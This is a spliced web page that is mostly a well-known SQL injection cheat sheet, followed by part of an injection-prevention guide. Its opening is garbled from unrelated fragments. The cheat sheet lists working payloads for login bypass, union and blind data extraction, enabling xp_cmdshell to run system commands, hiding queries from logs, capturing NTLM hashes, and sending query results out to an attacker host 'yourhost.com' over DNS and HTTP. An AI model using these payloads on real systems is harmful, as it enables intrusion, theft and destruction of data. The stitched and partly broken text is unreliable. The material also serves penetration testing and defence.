What is an SQL Injection Cheat Sheet?

Some useful syntax reminders for SQL Injection into MySQL databases This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. SQLite3 Injection Cheat Sheet. You're saying SQLite has a code injection vulnerability if I build my SQL statements by hand but make sure to escape. Command Description; TINYINT( )-128 to 127 normal 0 to 255 UNSIGNED. SMALLINT( )-32768 to 32767 normal 0 to 65535 UNSIGNED. MEDIUMINT( )-8388608 to 8388607 normal 0 to 16777215 UNSIGNED. This article is also available as a download, SQL injection attacks: A cheat sheet for business pros (free PDF). SQLite bug impacts thousands of apps, including all Chromium-based browsers (ZDNet). SQLite Cheat Sheet SQLite cheat sheet lists the most common SQLite statements that help you work with SQLite more quickly and effectively.

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.
Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

Examples;

• (MS) means : MySQL and SQL Server etc.
• (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
   1. Line Comments
   2. Inline Comments
   3. Stacking Queries
   4. If Statements
   5. String Operations
   6. Strings without Quotes
   7. Union Injections

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

• -- (SM)
DROP sampletable;--

• # (M)
DROP sampletable;#

Line Comments Sample SQL Injection Attacks

• Username: admin'--
• SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

• /*Comment Here*/ (SM)
  • DROP/*comment*/sampletable
  • DR/**/OP/*bypass blacklisting*/sampletable
  • SELECT/*avoid-spaces*/password/**/FROM/**/Members
• /*! MYSQL Special SQL */ (M)
  This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
  SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

• ID: 10; DROP TABLE members /*
  Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than3.23.02

MySQL Version Detection Sample Attacks

• ID: /*!32302 10*/
• ID: 10
  You will get the same response if MySQL version is higher than 3.23.02
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

• ; (S)
  SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples

• ID: 10;DROP members --
• SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

• IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

SQL Server If Statement

• IF conditiontrue-part ELSE false-part (S)
  IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If Statement

• BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END; (O)
  IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

• SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
  SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not 'sa' or 'dbo'.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

• 0xHEXNUMBER (SM)
  You can write hex like these;
  SELECT CHAR(0x66) (S)
  SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
  SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

• + (S)
  SELECT login + '-' + password FROM members
• || (*MO)
  SELECT login || '-' || password FROM members

*About MySQL '||';
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT()function in MySQL.

• CONCAT(str1, str2, str3, ...) (M)
  Concatenate supplied strings.
  SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

• 0x457578 (M) - Hex Representation of string
  SELECT 0x457578
  This will be selected as string in MySQL.
  In MySQL easy way to generate hex representations of strings use this;
  SELECT CONCAT('0x',HEX('c:boot.ini'))
• Using CONCAT() in MySQL
  SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
  This will return 'KLM'.
• SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
  This will return 'KLM'.
• SELECT CHR(75)||CHR(76)||CHR(77) (O)
  This will return 'KLM'.
• SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
  This will return 'KLM'.

Hex based SQL Injection Samples

• SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
  This will show the content of c:boot.ini

String Modification & Related

• ASCII() (SMP)
  Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
  SELECT ASCII('a')
• CHAR() (SM)
  Convert an integer of ASCII.
  SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

• SQL Server (S)
  Use fieldCOLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
  SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
• MySQL (M)
  Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....

• Login as different user (SM*)
  ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

• ' HAVING 1=1 --
• ' GROUP BY table.columnfromerror1 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --and so on
• If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY(MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

• ORDER BY 1--
• ORDER BY 2--
• ORDER BY N--so on
• Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

• Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
• To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
• Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
  • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

• ' union select sum(columntofind) from users-- (S)
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  If you are not getting an error it means column is numeric.
• Also you can use CAST() or CONVERT()
  • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
  No Error - Syntax is right. MS SQL Server Used. Proceeding.
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
  No Error – First column is an integer.
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
  Error! – Second column is not an integer.
• 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
  No Error – Second column is a string.
• 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
  Error! – Third column is not an integer. ...
  Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, '+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.

1. Create table foo( line varchar(8000) )
2. bulk insert foo from 'c:inetpubwwwrootlogin.asp'
3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp 'SELECT * FROM test..foo' queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --


Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

• Error Messages
  master..sysmessages
• Linked Servers
  master..sysservers
• Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
  SQL Server 2000: masters..sysxlogins
  SQL Server 2005 : sys.sql_logins


More Stored Procedures for SQL Server (S)

1. Cmd Execute (xp_cmdshell)
   exec master..xp_cmdshell 'dir'
2. Registry Stuff (xp_regread)
   
   1. xp_regaddmultistring
   2. xp_regdeletekey
   3. xp_regdeletevalue
   4. xp_regenumkeys
   5. xp_regenumvalues
   6. xp_regread
   7. xp_regremovemultistring
   8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities'
3. Managing Services (xp_servicecontrol)
4. Medias (xp_availablemedia)
5. ODBC Resources (xp_enumdsn)
6. Login mode (xp_loginconfig)
7. Creating Cab Files (xp_makecab)
8. Domain Enumeration (xp_ntsec_enumdomains)
9. Process Killing (need PID) (xp_terminate_process)
10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc 'xp_webserver', 'c:tempx.dll'
    exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you're really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

• Modify WHERE and use NOT IN or NOT EXIST,
  ... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)-- very good one
• Using Dirty Tricks
  SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAITFOR DELAY 'time' (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also, you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

• Are we 'sa' ?
  if (select user) = 'sa' waitfor delay '0:0:10'
• ProductID = 1;waitfor delay '0:0:10'--
• ProductID =1);waitfor delay '0:0:10'--
• ProductID =1';waitfor delay '0:0:10'--
• ProductID =1');waitfor delay '0:0:10'--
• ProductID =1));waitfor delay '0:0:10'--
• ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

• Are we root ? woot!
  IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
• Check Table exist in MySQL
  IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

• SELECT pg_sleep(10);
  Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

• SELECT sleep(10);
  Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

• (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)

  {INJECTION} = You want to run the query.

  If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

Sqlite Injection Cheat Sheet 2020

SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

1. product.asp?id=4 (SMO)
   1. product.asp?id=5-1
   2. product.asp?id=4 OR 1=1

2. product.asp?name=Book
   1. product.asp?name=Bo'%2b'ok
   2. product.asp?name=Bo' || 'ok (OM)
   3. product.asp?name=Book' OR 'x'='x

Extra MySQL Notes

• Sub Queries are working only MySQL 4.1+
• Users
  • SELECT User,Password FROM mysql.user;
• SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
• SELECT ... INTO DUMPFILE
  • Write query into a new file (can not modify existing files)
• UDF Function
  • create function LockWorkStation returns integer soname 'user32';
  • select LockWorkStation();

  • create function ExitProcess returns integer soname 'kernel32';
  • select exitprocess();
• SELECT USER();
• SELECT password,USER() FROM mysql.user;
• First byte of admin hash
  • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
• Read File
  • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
• MySQL Load Data infile
  
  • By default it's not available !
    • create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
• More Timing in MySQL
• select benchmark( 500000, sha1( 'test' ) );
• query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
• select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Force
  • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

• MD5()
  MD5 Hashing
• SHA1()
  SHA1 Hashing
• PASSWORD()
• ENCODE()
• COMPRESS()
  Compress data, can be great in large binary reading in Blind SQL Injections.
• ROW_COUNT()
• SCHEMA()
• VERSION()
  Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
bulk insert foo from 'YOURIPADDRESSC$x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

• ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
  Makes DNS resolution request to {INJECT}.yourhost.com
  
• ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree @q
  Makes DNS resolution request to {INJECTION}.yourhost.com
  {INJECTION} = You want to run the query.

MySQL

• ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(',({INJECTION}), 'yourhost.com')))
  Makes a NBNS query request/DNS resolution request to yourhost.com

• ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
  Writes data to your shared folder/file

  {INJECTION} = You want to run the query.

Oracle

• ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||') FROM DUAL)
  Sniffer application will save results

• ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
  Results will be saved in HTTP access logs

• ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
  You need to sniff dns resolution requests to yourhost.com

• ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)
  You need to sniff dns resolution requests to yourhost.com

  {INJECTION} = You want to run the query.

Vulnerability Classification and Severity Table

Last revision (mm/dd/yy): 02/6/2018

• 2Primary Defenses
  • 2.4Defense Option 4: Escaping All User-Supplied Input
    • 2.4.1Database Specific Escaping Details
      • 2.4.1.1Oracle Escaping
• 3Additional Defenses
  • 3.1Least Privilege

This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. SQL Injection attacks are unfortunately very common, and this is due to two factors:

1. the significant prevalence of SQL Injection vulnerabilities, and
2. the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).

It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.

SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:a) stop writing dynamic queries; and/orb) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.

This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.

Primary Defenses:

• Option 1: Use of Prepared Statements (with Parameterized Queries)
• Option 2: Use of Stored Procedures
• Option 3: White List Input Validation
• Option 4: Escaping All User Supplied Input

Additional Defenses:

• Also: Enforcing Least Privilege
• Also: Performing White List Input Validation as a Secondary Defense

Unsafe Example

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

Defense Option 1: Prepared Statements (with Parameterized Queries)

The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.

Language specific recommendations:

• Java EE – use PreparedStatement() with bind variables
• .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
• PHP – use PDO with strongly typed parameterized queries (using bindParam())
• Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
• SQLite - use sqlite3_prepare() to create a statement object

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

Safe Java Prepared Statement Example

The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.

Safe C# .NET Prepared Statement Example

With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.

We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the Hibernate Query Language (HQL) have the same type of injection problems (which we call HQL Injection). HQL supports parameterized queries as well, so we can avoid this problem:

Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples

For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the Query Parameterization Cheat Sheet or http://bobby-tables.com/.

Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.

Defense Option 2: Stored Procedures

Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.

*Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.

